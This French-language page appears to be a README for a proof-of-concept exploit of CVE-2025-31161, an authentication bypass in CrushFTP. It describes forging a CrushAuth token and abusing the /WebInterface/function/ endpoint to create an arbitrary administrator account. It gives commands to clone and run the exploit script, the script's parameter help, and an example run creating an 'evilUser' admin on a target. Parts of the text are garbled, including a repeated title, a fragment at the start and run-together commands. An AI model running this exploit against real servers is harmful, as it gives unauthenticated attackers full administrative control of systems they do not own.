
PoC CVE-2025-31161 - Contournement d'authentification CrushFTP
PoC CVE-2025-31161 - Contournement d'authentification CrushFTP
CrushAuth valide et de créer un administrateur disposant de tous les privilèges.Cet exploit cible une vulnérabilité critique dans CrushFTP, permettant à des attaquants non authentifiés distants de contourner l'authentification et de créer des utilisateurs admin arbitraires.
Il fonctionne en forgeant un jeton CrushAuth d'apparence valide et en abusant du point de terminaison /WebInterface/function/ pour soumettre une charge utile XML complète.
curlshufgit clone https://github.com/f4dee-backup/CVE-2025-31161
cd CVE-2025-31161
chmod +x CVE-2025-31161.sh
./CVE-2025-31161.sh --help
[?] Parameters description:
--url Target base URL (e.g., http://target)
--port Port where CrushFTP is running
--target-user Valid or invalid username (e.g., crushadmin)
--new-user Username to be created (e.g., Pwn3d)
--new-password Password for the new user
--help Show this help panel
[i] Example: ./CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345